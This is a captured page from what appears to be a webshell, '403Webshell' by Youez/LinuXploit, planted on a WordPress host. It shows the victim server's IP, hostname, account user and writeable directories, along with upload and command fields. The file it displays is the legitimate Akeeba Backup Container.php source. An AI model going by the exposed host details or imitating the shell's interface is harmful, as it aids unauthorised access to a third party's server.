403Webshell
Server IP : 81.19.159.101  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux www58.world4you.com 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64
User : ftp8817043 ( 2681)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/.sites/103/site8817043/web/wp-content/plugins/akeebabackupwp/helpers/Solo/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/.sites/103/site8817043/web/wp-content/plugins/akeebabackupwp/helpers/Solo/Container.php
<?php
/**
 * @package   solo
 * @copyright Copyright (c)2014-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Solo;

use Awf\Database\Driver;
use Awf\Session\CsrfTokenFactory;
use Solo\Helper\HashHelper;
use Solo\Session\Manager;
use Solo\Session\SegmentFactory;
use Solo\Session\WordPressTokenFactory;

/**
 * Dependency injection container for Akeeba Backup for WordPress
 *
 * @property-read  string  $iconBaseName  The base name for logo icon files
 */
class Container extends \Awf\Container\Container
{
	public function __construct(array $values = array())
	{
		$this->iconBaseName = 'abwp';

		$values['application_name']     = $values['application_name'] ?? 'Solo';
		$values['applicationNamespace'] = $values['applicationNamespace'] ?? '\\Solo';

		// Set up a segment name unique to this installation
		if (!isset($values['session_segment_name']))
		{
			$installationId = 'default';

			if (function_exists('base64_encode'))
			{
				$installationId = base64_encode(__DIR__);
			}

			if (function_exists('md5'))
			{
				$installationId = HashHelper::md5(__DIR__);
			}

			if (function_exists('sha1'))
			{
				$installationId = HashHelper::sha1(__DIR__);
			}

			$values['session_segment_name'] = $values['application_name'] . '_' . $installationId;
		}

		/**
		 * Provide our custom session manager emulation service inside WordPress. Outside of WordPress we have to use
		 * the regular AWF session manager, otherwise the CLI script fails (since it runs outside of WordPress).
		 */
		$values['session'] = function (Container $c)
		{
			$tokenFactory = defined('WPINC') ? new WordPressTokenFactory() : new CsrfTokenFactory();

			return new Manager(
				new SegmentFactory(),
				$tokenFactory
			);
		};

		// Application Session Segment service
		$values['segment'] = function (Container $c)
		{
			return $c->session->newSegment($c->session_segment_name);
		};

		$values['db'] = function (Container $c)
		{
			global $wpdb;

			$connection = (is_object($wpdb) && isset($wpdb->dbh)) ? $wpdb->dbh : null;

			if (is_object($connection) && ($connection instanceof \mysqli || $connection instanceof \PDO))
			{
				$c->appConfig->set('connection', $connection);
			}

			return Driver::fromContainer($c);
		};

		parent::__construct($values);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit